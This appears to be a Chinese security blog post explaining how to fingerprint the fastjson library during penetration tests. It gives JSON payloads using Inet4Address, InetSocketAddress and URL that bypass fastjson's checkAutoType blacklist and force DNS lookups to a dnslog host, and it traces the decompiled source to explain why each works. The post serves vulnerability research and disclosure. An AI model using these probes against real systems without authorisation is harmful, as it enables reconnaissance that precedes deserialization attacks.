在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson,jackson,gson等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。
前天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下issue。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。
https://github.com/alibaba/fastjson/issues/3077
很早之前有一个方法是使用 java.net.InetAddress
类,但是这个在1.2.49就被禁止了。然而在昨天在翻阅fastjson最新版源码(v1.2.67)是发现两个类似的类没有被禁止。
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
我们知道在Fastjson在反序列化之前都会调用checkAutoType方法对类进行检查。通过调试发现,由于Inet4Address.class不在黑名单中,所以就算开启autoType也是能过1处的检查。
Fastjson的ParserConfig类自己维护了一个IdentityHashMap,在这个HashMap中的类会被认为是安全的。在2处可以在IdentityHashMap中获取到 Inet4Address.class
,所以clazz不为null,导致在3.处就返回了。跳过了后续的未开启autoType的黑名单检查。所以可以发现无论autoType都可以过 checkAutoType
的检查
//com.alibaba.fastjson.parser.ParserConfig#checkAutoType public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { ... Class clazz; // 1.当打开了autoTypeSupport,类名又不在白名单时进行的黑名单检查 if (!internalWhite && (this.autoTypeSupport || expectClassFlag)) { hash = h3; for(mask = 3; mask < className.length(); ++mask) { hash ^= (long)className.charAt(mask); hash *= 1099511628211L; .... if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null && Arrays.binarySearch(this.acceptHashCodes, fullHash) < 0) { throw new JSONException("autoType is not support. " + typeName); } } } clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { // 2. fastjson的ParserConfig类自己维护了一个IdentityHashMap在这个HashMap中的类会被认为是安全的,会直接被返回。 clazz = this.deserializers.findClass(typeName); } if (clazz == null) { clazz = (Class)this.typeMapping.get(typeName); } if (internalWhite) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true); } if (clazz != null) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } else { // 3. 直接返回,不再走下面的autoTypeSupport和黑名单检查 return clazz; } } else { // 4. 不开启autoType时,进行的黑名单检查 if (!this.autoTypeSupport) { hash = h3; for(mask = 3; mask < className.length(); ++mask) { char c = className.charAt(mask); hash ^= (long)c; hash *= 1099511628211L; if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) { throw new JSONException("autoType is not support. " + typeName); } ... } } ... }
fastjason对于 Inet4Address
类会使用 MiscCodec
这个 ObjectDeserializer
来反序列化。我们跟进发现解析器会取出val字段的值复制给strVal变量,由于我们的类是Inet4Address,所以代码会执行到1处,进行域名解析。
//com.alibaba.fastjson.serializer.MiscCodec#deserialze public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { ... if (strVal != null && strVal.length() != 0) { if (clazz == UUID.class) { ... } else if (clazz == URI.class) { ... } else if (clazz == URL.class) { ... } else if (clazz == Pattern.class) { ... } else if (clazz == Locale.class) { ... } else if (clazz == SimpleDateFormat.class) { ... } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) { ... } else { try { // 1. 将strVal作为主机名,获取其对应的ip,域名在此处被解析 return InetAddress.getByName(strVal); } catch (UnknownHostException var11) { throw new JSONException("deserialize inet adress error", var11); } } } else { return null; } }
java.net.InetSocketAddress
类也在 IdentityHashMap
中,和上面一样无视 checkAutoType
检查。
通过它要走到 InetAddress.getByName()
流程相比方法一是要绕一些路的。刚开始一直没构造出来,后来在和实验室的背影师傅交流时,才知道可以顺着解析器规则构造( 它要啥就给它啥
),最终payload如下,当然它是畸形的json。
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
那这个是怎样构造出来的呢?需要你去简单了解下fastjson的词法解析器,这里就不展开了。这里尤为关键的是解析器token值对应的含义,可以在 com.alibaba.fastjson.parser.JSONToken
类中看到它们。
//com.alibaba.fastjson.parser.JSONToken public class JSONToken { ... public static String name(int value) { switch(value) { case 1: return "error"; case 2: return "int"; case 3: return "float"; case 4: return "string"; case 5: return "iso8601"; case 6: return "true"; case 7: return "false"; case 8: return "null"; case 9: return "new"; case 10: return "("; case 11: return ")"; case 12: return "{"; case 13: return "}"; case 14: return "["; case 15: return "]"; case 16: return ","; case 17: return ":"; case 18: return "ident"; case 19: return "fieldName"; case 20: return "EOF"; case 21: return "Set"; case 22: return "TreeSet"; case 23: return "undefined"; case 24: return ";"; case 25: return "."; case 26: return "hex"; default: return "Unknown"; } } }
构造这个payload需要分两步,第一步我们需要让代码执行到1处,这一路解析器要接收的字符在代码已经标好。按照顺序写就是 {"@type":"java.net.InetSocketAddress"{"address":
//com.alibaba.fastjson.serializer.MiscCodec#deserialze public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; String className; if (clazz == InetSocketAddress.class) { if (lexer.token() == 8) { lexer.nextToken(); return null; } else { // 12 ---> { parser.accept(12); InetAddress address = null; int port = 0; while(true) { className = lexer.stringVal(); lexer.nextToken(17); // 字段名需要为address if (className.equals("address")) { // 17 ---> : parser.accept(17); // 1. 我们需要构造让解析器走到这个流程 address = (InetAddress)parser.parseObject(InetAddress.class); } ... } } } ... }
parser.parseObject(InetAddress.class)
最终依然会,调用MiscCodec#deserialze()方法来序列化,这里就来到我们构造payload的第二步。这一步的目标是要让解析器走到 InetAddress.getByName(strVal)
。解析器要接受的字符在代码里标好了,按照顺序写就是 ,"val":"http://dnslog"}
。
//com.alibaba.fastjson.serializer.MiscCodec#deserialze public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; String className; // 序列化的是InetAddress.class类,走else流程 if (clazz == InetSocketAddress.class) { ... } else { Object objVal; if (parser.resolveStatus == 2) { parser.resolveStatus = 0; // 16 ---> , parser.accept(16); if (lexer.token() != 4) { throw new JSONException("syntax error"); } // 字段名 ---> val if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); } lexer.nextToken(); // 17 ---> : parser.accept(17); // 之后解析为对象,也就是val字段对应的值 objVal = parser.parse(); // 13 ---> } parser.accept(13); } .... // 后续的流程和方法一一样了,进行类型判断 strVal = (String)objVal; if (strVal != null && strVal.length() != 0) { if (clazz == UUID.class) { ... } else if (clazz == URI.class) { ... } else if (clazz == URL.class) { ... } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) { ... } else { try { // 域名解析 return InetAddress.getByName(strVal); } catch (UnknownHostException var11) { throw new JSONException("deserialize inet adress error", var11); } } } }
两段合起来即可得到了最终payload
java.net.URL
类也在 IdentityHashMap
中,和上面一样无视 checkAutoType
检查。
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
这是基于 @retanoj
和 @threedr3am
两位师傅的启发构造的,其原理和ysoserial中的 URLDNS
这个gadget原理一样。
简单来说就是向HashMap压入一个键值对时,HashMap需要获取key对象的hashcode。当key对象是一个URL对象时,在获取它的hashcode期间会调用getHostAddress方法获取host,这个过程域名会被解析。
fastjson会将内成序列化为URL对象,然后开始解析{URL( http://dnslog):"x"},会被解析为HashMap。